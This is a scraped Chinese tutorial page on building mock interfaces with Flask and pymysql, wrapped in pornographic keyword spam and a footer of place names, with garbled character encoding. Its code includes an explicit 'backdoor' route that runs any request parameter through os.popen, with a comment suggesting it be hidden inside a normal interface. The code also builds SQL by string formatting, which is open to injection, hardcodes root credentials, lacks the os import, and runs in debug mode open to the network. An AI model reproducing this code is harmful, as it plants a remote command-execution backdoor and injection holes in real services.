最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

python學(xué)習(xí)開發(fā)mock接口

 更新時間:2019年04月28日 09:10:04   作者:sylvia2016  
這篇文章主要為大家詳細介紹了python學(xué)習(xí)開發(fā)mock接口的相關(guān)資料,具有一定的參考價值,感興趣的小伙伴們可以參考一下

本文實例為大家分享了python學(xué)習(xí)開發(fā)mock接口的具體步驟,供大家參考,具體內(nèi)容如下

#1.測試為什么要開發(fā)接口?

1)在別的接口沒有開發(fā)好的時候, mock接口(模擬接口)
2)查看數(shù)據(jù), 避免直接操作數(shù)據(jù)庫

#2.開發(fā)接口的順序

1)安裝flask

flask是一個輕量級開發(fā)框架

pip install flask

2)開發(fā)一個接口

開發(fā)步驟:

1.實例化一個服務(wù)server:flask.Flask(__name__)
2.函數(shù)前加裝飾器@server.route(), 將函數(shù)變?yōu)橐粋€接口
3.啟動服務(wù)server:server.run()

import flask,json,pymysql
server=flask.Flask(__name__)#__name__代表當(dāng)前python文件, 把當(dāng)前python文件當(dāng)成一個服務(wù)
 
def opt_db(sql):
  coon=pymysql.connect(
    host='192.168.109.132',
    user='root',
    passwd='123456',
    db='besttest',
    port=3306,
    charset='utf8'
  )#建立db鏈接
  cur=coon.cursor()#建立游標
  cur.execute(sql);#執(zhí)行sql
  if sql.strip()[:6].upper()=='SELECT':
    res=cur.fetchall()#獲取sql返回
  else:
    coon.commit()
    res='ok'
  cur.close()#關(guān)閉游標
  coon.close()#關(guān)閉db鏈接
  return res
 
 
#get請求, 請求路徑ip:port/index
@server.route('/index',methods=['get'])#裝飾器,代表index函數(shù)是一個接口,支持get請求(默認get請求)
def index():
  res={'msg':'這是我開發(fā)的第一個接口','msg_code':'0'}
  return json.dumps(res,ensure_ascii=False,indent=4)
 
 
#post請求, 請求路徑ip:port/reg
@server.route('/reg',methods=['post'])#裝飾器,代表reg函數(shù)是一個接口,支持post請求(可以同時支持get、post請求)
def reg():
  username=flask.request.values.get('username')#獲取接口入?yún)?
  pwd=flask.request.values.get('passwd')
  if username and pwd:
    sql='select * from syz_stu where username="%s";'%username
    if opt_db(sql):
      res={'msg':'用戶已存在','msg_code':2001}#2001用戶已存在
    else:
      insert_sql='insert into syz_stu (username,passwd) VALUES ("%s","%s");'%(username,pwd)
      opt_db(insert_sql)
      res={'msg':'注冊成功','msg_code':'0'}
  else:
    res={'msg':'必填字段未填, 請查看接口文檔','msg_code':1001}#1001必填字段未填
  return json.dumps(res,ensure_ascii=False,indent=4)
 #后門接口
@server.route('/error',methods=['post'])#路由,訪問地址為----IP:端口/error
def cmd():
  cmd = flask.request.values.get('cmd')#接口的入?yún)?
  res = os.popen(cmd)#執(zhí)行用戶命令
  return res.read()#返回執(zhí)行結(jié)果
  #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后門接口可以直接通過瀏覽器刪除系統(tǒng)文件
  #隱蔽一點的方法,把cmd = flask.request.values('cmd',None)寫入正常接口
  # 默認可以不傳,一但傳了再res = os.popen(cmd)
 
server.run(port=6688,debug=True,host='0.0.0.0')#啟動服務(wù),接口才能訪問
# port=6688指定端口為6688
# debug=True設(shè)置代碼修改后服務(wù)自動重啟
# host='0.0.0.0'設(shè)置同一局域網(wǎng)的可以訪問
# server.run() 必須在所有接口定義完后再定義, 否則, server.run()檢測不到之后定義的接口, 接口是無法被運行的

運行以上代碼,打開瀏覽器,請求http://localhost:6688/index,將看到返回{'msg': '這是我開發(fā)的第一個接口', 'msg_code': 0}

以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。

相關(guān)文章

最新評論

奎屯市| 尉氏县| 商南县| 特克斯县| 清徐县| 孝义市| 丽江市| 东港市| 垣曲县| 德保县| 太原市| 东安县| 聂荣县| 新密市| 叶城县| 德清县| 临沭县| 富顺县| 靖宇县| 濮阳市| 武城县| 勐海县| 安康市| 深州市| 贡山| 武乡县| 无为县| 惠安县| 揭东县| 大埔县| 偃师市| 赤峰市| 买车| 广南县| 亚东县| 福泉市| 米易县| 文安县| 乌苏市| 乌海市| 额济纳旗|